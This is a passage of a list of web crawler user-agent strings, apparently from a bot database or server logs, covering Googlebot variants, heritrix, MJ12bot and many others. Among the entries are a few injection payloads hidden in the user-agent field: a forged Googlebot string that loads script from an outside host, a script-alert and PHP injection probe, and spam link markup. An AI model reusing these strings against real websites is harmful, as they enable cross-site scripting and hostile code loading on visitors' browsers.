... Mozilla/4.0 (SKIZZLE! Distributed Internet Spider v1.0 - www.SKIZZLE.com) Mozilla/4.0 (Sleek Spider/1.2) Mozilla/4.0 (Toread-Crawler/1.1; +http://news.toread.cc/crawler.php) Mozilla/4.0 [en] (Ask Jeeves Corporate Spider) Mozilla/4.0 compatible ZyBorg/1.0 (wn-13.zyborg@looksmart.net; http://www.WISEnutbot.com) Mozilla/4.0 compatible ZyBorg/1.0 (wn-14.zyborg@looksmart.net; http://www.W Mozilla/4.0 compatible ZyBorg/1.0 (wn-14.zyborg@looksmart.net; http://www.WISEnutbot.com) Mozilla/4.0 compatible ZyBorg/1.0 (wn-16.zyborg@looksmart.net; http://www.WISEnutbot.com) Mozilla/4.0 compatible ZyBorg/1.0 (wn.zyborg@looksmart.net; http://www.WISEnutbot.com) Mozilla/4.0 compatible ZyBorg/1.0 (ZyBorg@WISEnutbot.com; http://www.WISEnutbot.com) Mozilla/4.0 compatible ZyBorg/1.0 Dead Link Checker (wn.dlc@looksmart.net; http://www.WISEnutbot.com) Mozilla/4.0(compatible; MSIE 7.0b; Windows NT 5.1; .NET CLR 1.1.4322) <a href=http://lezbbiyanki.info>lezb... Mozilla/4.0+(compatible;+MSIE+6.01;+Windows+NT+5.0;OnMiner+Bot+1.0;) Mozilla/4.0+(compatible;+MSIE6.0;+Windows+NT+5.1;+Maxthon;) larbin2.6.3@unspecified.mail Mozilla/4.0/Nutch-0.9 Mozilla/4.0/Nutch-1.0-dev (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727) Mozilla/4.04 (compatible; Dulance bot; +http://www.dulance.com/bot.jsp) Mozilla/5.0 ( compatible; SETOOZBOT/0.30 ; http://www.setooz.com/bot.html ) Mozilla/5.0 ( compatible; SETOOZBOT/0.30 ; http://www.setooz.com/bot.html ; agentname at setooz dot_com ) Mozilla/5.0 (+indexoffiles.com; Multimedia crawler v1.1) Mozilla/5.0 (000000000; 0; 000 000 00 0 000000; 00000; 00000000) 00000000000000 0000000000000 Mozilla/5.0 (000000000; 0; 000 000 00 0; 00) 00000000000 0000000 0000 000000 Mozilla/5.0 (compatable; Googlebot/2.1; +http://www.google.com/bot.html) Mozilla/5.0 (compatible ; Googlebot/2.1; +http://www.google.com/bot.html) Mozilla/5.0 (compatible/2.1;+http://www.google.com/bot.html) Mozilla/5.0 (compatible: Googlebot/2.1: +http//www.google.com/bot.html) Mozilla/5.0 (compatible:Googlebot/2.1;+http://www.google.com/bot.html) Mozilla/5.0 (compatible; 008/0.83; http://www.80legs.com/spider.html) Gecko/2008032620 Mozilla/5.0 (compatible; 008/0.83; http://www.80legs.com/spider.html;) Gecko/2008032620 Mozilla/5.0 (compatible; 008/0.83; http://www.80legs.com/webcrawler.html) Gecko/2008032620 Mozilla/5.0 (compatible; 3F/ALL-PLA.NET webcrawler) Mozilla/5.0 (compatible; 80bot/0.71; http://www.80legs.com/spider.html;) Mozilla/5.0 (compatible; 80bot/0.71; http://www.80legs.com/spider.html;) Gecko/2008032620 Mozilla/5.0 (compatible; AB-Downloads.com PAD crawler; http://www.ab-downloads.com) Mozilla/5.0 (compatible; abby/1.0; +http://www.ellerdale.com/crawler.html) Mozilla/5.0 (compatible; AbiLogicBot/1.0; +http://www.abilogic.com) Mozilla/5.0 (compatible; AboutUsBot Johnny5/2.0; +http://www.AboutUs.org/) Mozilla/5.0 (compatible; AboutUsBot/0.9; +http://www.aboutus.org/AboutUsBot) Mozilla/5.0 (compatible; ADIR Research Project; http://bradipo.net/mark) /Nutch-0.9 Mozilla/5.0 (compatible; Advisorbot/1.0)/Nutch-1.2 Mozilla/5.0 (compatible; Adzaarbot; +http://adzaar.com/docs/bot) Mozilla/5.0 (compatible; aiHitBot-DM/2.0.2 +http://www.aihit.com) Mozilla/5.0 (compatible; aiHitBot-DS/1.0; +http://www.aihit.com/) Mozilla/5.0 (compatible; aiHitBot/1.0-DS; +http://www.aihit.com/) Mozilla/5.0 (compatible; aiHitBot/1.0; +http://www.aihit.com/) Mozilla/5.0 (compatible; aiHitBot/2.0.2-DM +http://www.aihit.com) Mozilla/5.0 (compatible; AMZNKAssocBot/4.0) Mozilla/5.0 (compatible; AntBot/1.0; +http://www.ant.com/) Mozilla/5.0 (compatible; Apercite; +http://www.apercite.fr/robot/index.html) Mozilla/5.0 (compatible; ApptusBot/1.0; +http://www.apptus.com) Mozilla/5.0 (compatible; archive.org_bot +http://www.archive.org/details/archive.org_bot) Mozilla/5.0 (compatible; archive.org_bot/1.13.1x +http://crawler.archive.org) Mozilla/5.0 (compatible; archive.org_bot/heritrix-1.15.4 +http://www.archive.org) Mozilla/5.0 (compatible; archive.org_bot/heritrix-1.15.4 +http://www.bne.es/es/LaBNE/PreservacionDominioES/AvisoWebmaste... Mozilla/5.0 (compatible; archive_crawler/3.0.0-SNAPSHOT-20091205.013431 +http://www.archive.org/details/archive_crawler) Mozilla/5.0 (compatible; arste.info_bot/1.1; +http://www.arste.info) Mozilla/5.0 (compatible; askpeter_bot/5.0; +http://www.askpeter.info) Mozilla/5.0 (compatible; askpeter_bot/5.1; +http://countries.askpeter.info) Mozilla/5.0 (compatible; askpeter_bot/5.1; +http://www.askpeter.info) Mozilla/5.0 (compatible; askpeter_bot_5.0; +http://www.askpeter.info) Mozilla/5.0 (compatible; askpeter_jeanie_2009_bot/5.0; +http://www.askpeter.info) Mozilla/5.0 (compatible; Attribot-Feeds; http://static.attribyte.com/robotreadme.txt) Mozilla/5.0 (compatible; attributor/1.13.2 +http://www.attributor.com) Mozilla/5.0 (compatible; Baiduspider/1.0; +http://www.baidu.com/search/spider.htm) Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.htm) Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html) Mozilla/5.0 (compatible; Bazbot/1.0; +http://www.bazsites.com/ Mozilla/5.0 (compatible; BecomeBot/1.83; MSIE 6.0 compatible; +http://www.become.com/site_owners.html) Mozilla/5.0 (compatible; BecomeBot/1.85; MSIE 6.0 compatible; +http://www.become.com/site_owners.html) Mozilla/5.0 (compatible; BecomeBot/1.86; MSIE 6.0 compatible; +http://www.become.com/site_owners.html) Mozilla/5.0 (compatible; BecomeBot/2.2.5; MSIE 6.0 compatible; +http://www.become.com/site_owners.html) Mozilla/5.0 (compatible; BecomeBot/2.3; MSIE 6.0 compatible; +http://www.be Mozilla/5.0 (compatible; BecomeBot/2.3; MSIE 6.0 compatible; +http://www.become.com/site_owners.html) Mozilla/5.0 (compatible; BecomeBot/3.0; +http://www.become.com/site_owners.html) Mozilla/5.0 (compatible; BecomeBot/3.0; MSIE 6.0 compatible; +http://www.become.com/site_owners.html) Mozilla/5.0 (compatible; BecomeJPBot/2.3; MSIE 6.0 compatible; +http://www.become.co.jp/site_owners.html) Mozilla/5.0 (compatible; Bender; http://sites.google.com/site/bendercrawler) Mozilla/5.0 (compatible; BigSkyBot; +http://www.webshoppehosting.com/bigskybot.htm) Mozilla/5.0 (compatible; bingbot/2.0 +http://www.bing.com/bingbot.htm) Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm) Mozilla/5.0 (compatible; Birubot/1.0) Gecko/2009032608 Firefox/3.0.8 Mozilla/5.0 (compatible; bixolabs/1.0; +http://bixolabs.com/crawler/general; crawler@bixolabs.com) Mozilla/5.0 (compatible; bixolabs/1.0; +http://bixolabs.com/crawler/general; crawler@mail.bixolabs.com) Mozilla/5.0 (compatible; BlogRefsBot/0.1; http://www.blogrefs.com/about/bloggers) Mozilla/5.0 (compatible; BlogRefsBot/0.2.2; http://www.blogrefs.com/about/bloggers) Mozilla/5.0 (compatible; Bot-DeVille 04-37; Windows NT 6.1; Zaciesz-script 2.0; Konqueror/3.3) Mozilla/5.0 (compatible; BotTracer/2.0; +http://www.informacja.pl) Mozilla/5.0 (compatible; BuiltWith/0.1; +http://builtwith.com/bot.html) Mozilla/5.0 (compatible; BuiltWith/0.3; +http://builtwith.com/bot.html) Mozilla/5.0 (compatible; BuzzBot/1.0; http://www.buzzlogic.com) Mozilla/5.0 (compatible; Charlotte/1.0b; charlotte@betaspider.com) Mozilla/5.0 (compatible; Charlotte/1.0b; http://www.betaspider.com/) Mozilla/5.0 (compatible; CligooRobot/2.0; +http://www.cligoo.de) Mozilla/5.0 (compatible; CligooRobot/2.0; +http://www.cligoo.de/wk/technik.php) Mozilla/5.0 (compatible; crawler bot)/1.0 (bot; http://; crawler@cscinfo.com) Mozilla/5.0 (compatible; crawler/3.0.0 +http://www.notconfigured.com/) Mozilla/5.0 (compatible; crawlster/1.0b; http://www.page-store.com/) Mozilla/5.0 (compatible; DBLBot/1.0; +http://www.dontbuylists.com/) Mozilla/5.0 (compatible; Debugbot/0.7; +http://www.debugbot.com) Mozilla/5.0 (compatible; Diffbot/0.1; +http://www.diffbot.com) Mozilla/5.0 (compatible; discobot/1.0; +http://discoveryengine.com/discobot.html) Mozilla/5.0 (compatible; discobot/1.0; +http://discoveryengine.com/robot.html) Mozilla/5.0 (compatible; discobot/1.1; +http://discoveryengine.com/discobot.html Mozilla/5.0 (compatible; discobot/1.1; +http://discoveryengine.com/discobot.html) Mozilla/5.0 (compatible; DKIMRepBot/1.0; +http://www.dkim-reputation.org) Mozilla/5.0 (compatible; DNS-Digger/1.0; +http://www.dnsdigger.com) Mozilla/5.0 (compatible; Dolphin/1.0; +http://telehouse.ru/crawler.html) Mozilla/5.0 (compatible; DotBot/1.1; http://www.dotnetdotcom.org/, crawler@dotnetdotcom.org) Mozilla/5.0 (compatible; Dow Jones Searchbot) Mozilla/5.0 (compatible; EllerdaleBot/ 1.0; +http://www.ellerdale.com/crawler.html) Mozilla/5.0 (compatible; en-US; <a href='http://gnomit.com/'>Gnomit</a>) Gnomit/1.0 Mozilla/5.0 (compatible; ERIPPbot; +http://eripp.com) Mozilla/5.0 (compatible; Estbot/1.0; http://www.estsoft.com/) Mozilla/5.0 (compatible; Exabot Test/3.0; +http://www.exabot.com/go/robot) Mozilla/5.0 (compatible; Exabot-Images/3.0; +http://www.exabot.com/go/robot) Mozilla/5.0 (compatible; Exabot/3.0 (BiggerBetter); +http://www.exabot.com/go/robot) Mozilla/5.0 (compatible; Exabot/3.0 (BiggerBetter/tests); +http://www.exabot.com/go/robot) Mozilla/5.0 (compatible; Exabot/3.0; +http://www.exabot.com/go/robot) Mozilla/5.0 (compatible; Ezooms/1.0; ezooms.bot@gmail.com) Mozilla/5.0 (compatible; facebook bot) Mozilla/5.0 (compatible; Falconsbot; +http://iws.seu.edu.cn/services/falcons/contact_us.jsp) Mozilla/5.0 (compatible; Falconsbot; +http://iws.seu.edu.cn/services/falcons/contactus.jsp) Mozilla/5.0 (compatible; Falconsbot; +http://ws.nju.edu.cn/falcons/) Mozilla/5.0 (compatible; FAST Crawler 6.3) Mozilla/5.0 (compatible; FatBot 2.0; http://www.thefind.com/crawler) Mozilla/5.0 (compatible; FatBot 2.0; http://www.thefind.com/main/CrawlerFAQs.fhtml) Mozilla/5.0 (compatible; Feedtrace-bot/0.2; bot@feedtrace.com) Mozilla/5.0 (compatible; FindShare bot/3.0; +http://www.findshare.ru) Mozilla/5.0 (compatible; FirstSearchBot/1.0; +http://www.first-search.com/botsvsbrowsers.com.htm) Mozilla/5.0 (compatible; FriendFeedBot/0.1; +Http://friendfeed.com/about/bot) Mozilla/5.0 (compatible; Galbot/1.0; +http://www.galbot.com/bot.html) mozilla/5.0 (compatible; genevabot +http://www.healthdash.com) Mozilla/5.0 (compatible; Gigamega.bot/1.0; +http://www.gigamega.net/bot.html) Mozilla/5.0 (compatible; Gooblebot/2.1; +http://www.google.com/bot.html) Mozilla/5.0 (compatible; Google Keyword Generator; +http://www.google.com/bot.html) Mozilla/5.0 (compatible; Googlebot-News/2.1; +http://www.google.com/bot.html) Mozilla/5.0 (compatible; Googlebot/2,1; http://www.google.com/bot.html) Mozilla/5.0 (compatible; Googlebot/2. 1; +http://www.google.com/bot.html) Mozilla/5.0 (compatible; Googlebot/2.; +1http://www.google.com/bot.html) Mozilla/5.0 (compatible; Googlebot/2.1 Mozilla/5.0 (compatible; Googlebot/2.1 +http://googlebot.com/bot.html) Mozilla/5.0 (compatible; Googlebot/2.1(+http://www.google.com/bot.html) Mozilla/5.0 (compatible; Googlebot/2.1) Mozilla/5.0 (compatible; Googlebot/2.1+( +http://www.google.com/bot.html) Mozilla/5.0 (compatible; Googlebot/2.1+(+http://www.google.com/bot.html) Mozilla/5.0 (compatible; Googlebot/2.1+(+http://www.google.com/bot.html) Firefox/3.5.8 Mozilla/5.0 (compatible; Googlebot/2.1+(+http://www.google.com/bot.html)) Mozilla/5.0 (compatible; Googlebot/2.1+(+http://www.google.com/bot.html)” Mozilla/5.0 (compatible; Googlebot/2.1+(+http://www.googlebot.com/bot.html) Mozilla/5.0 (compatible; Googlebot/2.1+; +http://www.googlebot.com/bot.html Mozilla/5.0 (compatible; Googlebot/2.1+http://www.google.com/bot.html Mozilla/5.0 (compatible; Googlebot/2.1, +http://www.google.com/bot.html) Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html) Mozilla/5.0 (compatible; Googlebot/2.1; Mozilla/5.0 (compatible; Googlebot/2.1; http://www.google.com/bot.html) Mozilla/5.0 (compatible; Googlebot/2.1; http://www.google.com/bot.html) FirePHP/0.2.1 Mozilla/5.0 (compatible; Googlebot/2.1; (+http://www.google.com/bot.html) Mozilla/5.0 (compatible; Googlebot/2.1; + http://www.google.com/bot.html) Mozilla/5.0 (compatible; Googlebot/2.1; + http://www.google.com/bot.html),gzip(gfe) (via translate.google.com) Mozilla/5.0 (compatible; Googlebot/2.1; +Googlebot/2.1+(+http://www.google.com/bot.html) Mozilla/5.0 (compatible; Googlebot/2.1; +hhtp://www.google.com/bot.html) Mozilla/5.0 (compatible; Googlebot/2.1; +http//www.google.com/bot.html) Mozilla/5.0 (compatible; Googlebot/2.1; +http:/ /www.google.com/bot.html) Mozilla/5.0 (compatible; Googlebot/2.1; +http://google.com/bot.htm) Mozilla/5.0 (compatible; Googlebot/2.1; +http://google.com/bot.html Mozilla/5.0 (compatible; Googlebot/2.1; +http://google.com/bot.html) Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.googel.com/bot.html Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/ bot.html) Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.) Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.htm Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.htm) Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html) Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html) - Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html) <script src=http://zexi.eu/k>&... Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html) AppEngine-Google; (+http://code.google.com/appe... Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html) AppleWebKit/533.9 (KHTML, like Gecko) Chrome/6.... Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html) AutoPager/0.5.2.2 (http://www.teesoft.info/) Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html) AutoPager/0.6.0.20 Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html) FirePHP/0.0.5.26 Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html) FirePHP/0.1.2 Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html) FirePHP/0.2.1 Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html) FirePHP/0.2.4 Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html) FirePHP/0.3 Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html) FirePHP/0.4 Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html) Gecko/20080313 SeaMonkey/1.1.9 Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html),gzip(gfe) (via translate.google.com) Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)fari/52950176.85 Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30) Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html; Chrome/5.0) Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html; Data Center; Mozilla/4.0 (compatible; MSIE 6.0;... Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html; Trident/4.0) Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot/html) Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.googlebot..com/html) Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.googlebot.com/bot.html) Mozilla/5.0 (compatible; Googlebot/2.1; <script>alert('LOL'); </script><?php wtf(); ?... Mozilla/5.0 (compatible; Googlebot/2.1; hacked +http://www.google.com/bot.html) Mozilla/5.0 (compatible; Googlebot/2.1; http://www.google.ca/bot.html) Mozilla/5.0 (compatible; Googlebot/2.1; http://www.google.com/bot.html Mozilla/5.0 (compatible; Googlebot/2.1; http://www.google.com/bot.html +) Mozilla/5.0 (compatible; Googlebot/2.1; http://www.google.com/bot.html +),gzip(gfe) (via translate.google.com) Mozilla/5.0 (compatible; Googlebot/2.1; http://www.google.com/bot.html) Mozilla/5.0 (compatible; Googlebot/2.1; SeaMew Netwotk Service; http://sea-mew.jp/nox/bot.html Mozilla/5.0 (compatible; Googlebot/2.1; Verifying Googlebot - Webmaster Help Center) Mozilla/5.0 (compatible; Googlebot/2.1;+(+http://www.google.com/bot.html) Mozilla/5.0 (compatible; Googlebot/2.1;+http://www.google.com/bot.html Mozilla/5.0 (compatible; Googlebot/2.1;+http://www.google.com/bot.html) Mozilla/5.0 (compatible; Googlebot/2.1;+http://www.google.com/bot.html) AppleWebKit/533.9 (KHTML, like Gecko) Chrome/10.... Mozilla/5.0 (compatible; Googlebot/2.1;http://www.google.com/bot.html) Mozilla/5.0 (compatible; Googlebot/2.1Googlebot/2.1+(+http://www.google.com/bot.html) Mozilla/5.0 (compatible; Googlebot/2.4 +http://www.googlebot.com/bot.html) Mozilla/5.0 (compatible; Googlebot/3.1; +http://www.google.com/bot.html) Mozilla/5.0 (compatible; Googlebot2.1; +http://www.google.com/bot.html) Mozilla/5.0 (compatible; Goooglebot/2.1; +http://www.google.com/bot.html) Mozilla/5.0 (compatible; GOZERBOT 0.9.2; http://www.gozerbot.org) Mozilla/5.0 (compatible; gsa-crawler/2.1; +http://www.google.com/bot.html) Mozilla/5.0 (compatible; GurujiBot/1.0; +http://www.guruji.com/en/WebmasterFAQ.html) Mozilla/5.0 (compatible; Hailoobot/1.2; +http://www.hailoo.com/spider.html) Mozilla/5.0 (compatible; heritrix/${pom.version} +http://seekda.com) Mozilla/5.0 (compatible; heritrix/${pom.version} +http://www.adsafemedia.com) Mozilla/5.0 (compatible; heritrix/${pom.version} +http://www.deri.ie/) Mozilla/5.0 (compatible; heritrix/@VERSION@ +http://vermut.aol.com) Mozilla/5.0 (compatible; heritrix/@VERSION@ +http://www.advertising.com) Mozilla/5.0 (compatible; heritrix/@VERSION@ +http://www.kingsoft.com) Mozilla/5.0 (compatible; heritrix/1.10.2 +http://i.stanford.edu/) Mozilla/5.0 (compatible; heritrix/1.10.2 +http://www.zvents.com/) Mozilla/5.0 (compatible; heritrix/1.12.0 +http://seekda.com) Mozilla/5.0 (compatible; heritrix/1.12.0 +http://www.accelobot.com) Mozilla/5.0 (compatible; heritrix/1.12.0 +http://www.zvents.com/; +zbot) Mozilla/5.0 (compatible; heritrix/1.12.1 +http://curiousgeorge.info) Mozilla/5.0 (compatible; heritrix/1.12.1 +http://www.page-store.com) Mozilla/5.0 (compatible; heritrix/1.12.1 +http://www.page-store.com) [email:paul@page-store.com] Mozilla/5.0 (compatible; heritrix/1.14.1 +http://europarchive.org) Mozilla/5.0 (compatible; heritrix/1.14.1 +http://www.padi.cat) Mozilla/5.0 (compatible; heritrix/1.14.2 yptrino +http://www.buddybuzz.com/yptrino) Mozilla/5.0 (compatible; heritrix/1.14.2 yptrino +http://www.buddybuzz.net/yptrino) Mozilla/5.0 (compatible; heritrix/1.14.3 +http://rjpower.org) Mozilla/5.0 (compatible; heritrix/1.14.3 +http://www.accelobot.com) Mozilla/5.0 (compatible; heritrix/1.14.3 +http://www.toofaan.com) Mozilla/5.0 (compatible; heritrix/1.14.3 +http://www.uniroma2.it) Mozilla/5.0 (compatible; heritrix/1.14.3.r6601 +http://www.buddybuzz.net/yptrino) Mozilla/5.0 (compatible; heritrix/1.14.3.r6601+http://www.buddybuzz.net/yptrino) mozilla/5.0 (compatible; heritrix/1.14.4 +http://archive.crawler.org) Mozilla/5.0 (compatible; heritrix/1.14.4 +http://boston.lti.cs.cmu.edu/crawler) Mozilla/5.0 (compatible; heritrix/1.14.4 +http://www.nestor.uniroma2.it) Mozilla/5.0 (compatible; heritrix/1.15.1-200807172326 +http://www.accelobot.com) Mozilla/5.0 (compatible; heritrix/1.5 +http://www.metacarta.com) Mozilla/5.0 (compatible; heritrix/1.5.0 +http://www.l3s.de/~kohlschuetter/projects/crawling/) Mozilla/5.0 (compatible; heritrix/1.6.0 +http://innovationblog.com) Mozilla/5.0 (compatible; heritrix/1.6.0 +http://www.worio.com/) Mozilla/5.0 (compatible; heritrix/1.6.0 +http://yahoo.com) Mozilla/5.0 (compatible; heritrix/1.7.0 +http://www.greaterera.com/) Mozilla/5.0 (compatible; heritrix/1.8.0 +http://crawlerx51.com) Mozilla/5.0 (compatible; heritrix/1.8.0 +http://wiki.office.aol.com/wiki/SEO) Mozilla/5.0 (compatible; heritrix/1.8.0 +http://www.accelobot.com) Mozilla/5.0 (compatible; heritrix/1.8.0 +http://www.business.com) Mozilla/5.0 (compatible; heritrix/2.0.0 +http://www.aol.com) Mozilla/5.0 (compatible; heritrix/2.0.0 +http://www.mariamosolova.com) Mozilla/5.0 (compatible; heritrix/2.0.0-RC1 +http://www.aol.com) Mozilla/5.0 (compatible; heritrix/2.0.1 +http://fake.example.com/crawlerselftest/) Mozilla/5.0 (compatible; heritrix/2.0.1 +http://www.deri.ie/) Mozilla/5.0 (compatible; heritrix/2.0.1 +http://www.sindice.com/) Mozilla/5.0 (compatible; heritrix/2.0.2 +http://aihit.com) Mozilla/5.0 (compatible; heritrix/2.0.2 +http://localhost) Mozilla/5.0 (compatible; heritrix/2.0.2 +http://www.ellerdale.com/crawler.html) Mozilla/5.0 (compatible; heritrix/3.0.0 +http://archive.org) Mozilla/5.0 (compatible; heritrix/3.0.0 +http://crawler.chug.net) Mozilla/5.0 (compatible; heritrix/3.0.0 +http://dataclip.com/crawler.html) Mozilla/5.0 (compatible; heritrix/3.0.0 +http://www.dataclip.com) Mozilla/5.0 (compatible; heritrix/3.0.0 +http://www.run4dom.com) Mozilla/5.0 (compatible; heritrix/3.0.0-SNAPSHOT-20091120.021634 +http://crawler.archive.org) Mozilla/5.0 (compatible; heritrix/3.1.1-SNAPSHOT-20100928.230034 +http://www.dataclip.com) Mozilla/5.0 (compatible; heritrix/UNKNOWN +http://www.adsafemedia.com) Mozilla/5.0 (compatible; HiveCrawler/1.2 http://www.businessinsider.com) Mozilla/5.0 (compatible; Host-Spy Crawler/1.2; +http://www.host-spy.com/) Mozilla/5.0 (compatible; http://www.google.com/bot.html +; Googlebot/2.1) Mozilla/5.0 (compatible; http://www.UptimeAuditor.com/bot/ ) Mozilla/5.0 (compatible; iaskspider/1.0; MSIE 6.0) Mozilla/5.0 (compatible; IDBot/1.0; +http://www.id-search.org/bot.html) Mozilla/5.0 (compatible; Internetbot/1.4; +http://www.internet.cc/bot.html) Mozilla/5.0 (compatible; JadynAveBot; +http://www.jadynave.com/robot Mozilla/5.0 (compatible; JadynAveBot; +http://www.jadynave.com/robot) Mozilla/5.0 (compatible; Jeanie_2008_bot/3.2; +http://www.quickengines.com) Mozilla/5.0 (compatible; JP12bot/1.0; +http://www.jp12.net/bot.html) Mozilla/5.0 (compatible; justanotherbot/0.1; ) Mozilla/5.0 (compatible; KaloogaBot; http://www.kalooga.com/info.html?page=crawler) Mozilla/5.0 (compatible; kmbot-3dc1/0.0; +http://knowmore.com/bots) Mozilla/5.0 (compatible; kmbot-62c5/0.0; +http://knowmore.com/bots) Mozilla/5.0 (compatible; kmkybot/0.1; af@kilomonkey.com) Mozilla/5.0 (compatible; Konqueror/3.5; Linux) KHTML/3.5.5 (like Gecko) (Exabot-Thumbnails) Mozilla/5.0 (compatible; Kyluka crawl; crawl@kyluka.com; http://www.kyluka.com/static/crawl.html) Mozilla/5.0 (compatible; Kyluka crawl; http://www.kyluka.com/crawl.html; crawl@kyluka.com) Mozilla/5.0 (compatible; Kyluka crawl; http://www.kyluka.com/static/crawl.html; crawl@kyluka.com) Mozilla/5.0 (compatible; LinksManager.com_bot +http://linksmanager.com/linkchecker.html) Mozilla/5.0 (compatible; MarketDefenderBot/2.0; +http://www.marketdefender.com/bot.html) Mozilla/5.0 (compatible; MarketwireBot/1.0; +http://www.marketwire.com) Mozilla/5.0 (compatible; Mediapartners-Google/2.1; +http://www.google.com/bot.html)". Mozilla/5.0 (compatible; MileNSbot/0.1beta; http://www.milens.net/robotstxt.html) Mozilla/5.0 (compatible; MJ12bot/v1.2.1; http://www.majestic12.co.uk/bot.php?+) Mozilla/5.0 (compatible; MJ12bot/v1.2.2; http://www.majestic12.co.uk/bot.php?+) Mozilla/5.0 (compatible; MJ12bot/v1.2.3; http://www.majestic12.co.uk/bot.php?+) Mozilla/5.0 (compatible; MJ12bot/v1.2.4; http://www.majestic12.co.uk/bot.php?+) Mozilla/5.0 (compatible; MJ12bot/v1.2.5; http://www.majestic12.co.uk/bot.php?+) Mozilla/5.0 (compatible; MJ12bot/v1.3.0; http://www.majestic12.co.uk/bot.php?+) Mozilla/5.0 (compatible; MJ12bot/v1.3.1; http://www.majestic12.co.uk/bot.php?+) Mozilla/5.0 (compatible; MJ12bot/v1.3.2; http://www.majestic12.co.uk/bot.php?+) Mozilla/5.0 (compatible; MJ12bot/v1.3.3; http://www.majestic12.co.uk/bot.php?+) Mozilla/5.0 (compatible; MojeekBot/0.2; http://www.mojeek.com/bot.html#relaunch) Mozilla/5.0 (compatible; MojeekBot/0.2; http://www.mojeek.com/bot.html) Mozilla/5.0 (compatible; MojeekBot/2.0; http://www.mojeek.com/bot.html) Mozilla/5.0 (compatible; mozbot) Mozilla/5.0 (compatible; Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html) Mozilla/5.0 (compatible; Mp3Bot/0.5; +http://mp3realm.org/mp3bot/) Mozilla/5.0 (compatible; Mp3Bot/0.6; +http://mp3realm.org/mp3bot/) Mozilla/5.0 (compatible; Mp3Bot/0.7; +http://mp3realm.org/mp3bot/) Mozilla/5.0 (compatible; MSIE 6.0; Podtech Network; crawler_admin@podtech.net) Mozilla/5.0 (compatible; MSIE 6.0; Windows NT 5.1; Turn Network; crawl@turn.com) Mozilla/5.0 (compatible; MSIE 6.0; Windows XP) <a href=http://igrayka.info>�� </a&gt... Mozilla/5.0 (compatible; MSIE 6.0; Windows XP) �� <a href=http://igrayka.info>��</a> Mozilla/5.0 (compatible; MSIE 6.0b; Windows NT 5.0) Gecko/2009011913 Firefox/3.0.6 TweetmemeBot Mozilla/5.0 (compatible; MSIE 7.0; MSIE 6.0; ScanAlert; http://www.scanalert.com/bot.jsp) Firefox/2.0.0.3 Mozilla/5.0 (compatible; MSIE 7.0; MSIE 6.0; ScanAlert; +http://www.scanalert.com/bot.jsp) Firefox/2.0.0.3 Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.0; Trident/5.0) AppEngine-Google; (+http://code.google.com/appengine; ap... Mozilla/5.0 (compatible; musobot/1.0; info@muso.com; +http://www.muso.com) Mozilla/5.0 (compatible; mxbot/1.0; +http://www.chainn.com/mxbot.html) Mozilla/5.0 (compatible; NetSeer crawler/2.0; +http://www.netseer.com/crawler.html; crawler@netseer.com) Mozilla/5.0 (compatible; Nigma.ru/3.0; crawler@nigma.ru) Mozilla/5.0 (compatible; No-NSFW Bot; +http://nonsfw.com/) Mozilla/5.0 (compatible; oBot/2.3.1; +http://www-935.ibm.com/services/us/index.wss/detail/iss/a1029077?cntxt=a1027244) Mozilla/5.0 (compatible; OpenX Spider; http://www.openx.org) Mozilla/5.0 (compatible; OsO; http://oso.octopodus.com/abot.html) Mozilla/5.0 (compatible; ourGlocalbot/1.0; +http://rank10.org/bot.html) Mozilla/5.0 (compatible; OWPBot/0.3; http://www.openwhitepages.com/) Mozilla/5.0 (compatible; page-store +http://www.page-store.com) [email:paul@page-store.com] Mozilla/5.0 (compatible; PaperLiBot/2.1) Mozilla/5.0 (compatible; PaxleFramework/0.1.0; +http://www.paxle.net/en/bot) Mozilla/5.0 (compatible; Peew/1.0; http://www.peew.de/crawler/) Mozilla/5.0 (compatible; perl.bot/1.1; mailto:supportgigamega@gmail.com) mozilla/5.0 (compatible; pips_priority_crawler/0.1 +http://www.eti.pg.gda.pl/) Mozilla/5.0 (compatible; Plukkie/1.1; http://www.botje.com/plukkie.htm) Mozilla/5.0 (compatible; Plukkie/1.2; http://www.botje.com/plukkie.htm) Mozilla/5.0 (compatible; Plukkie/1.3; 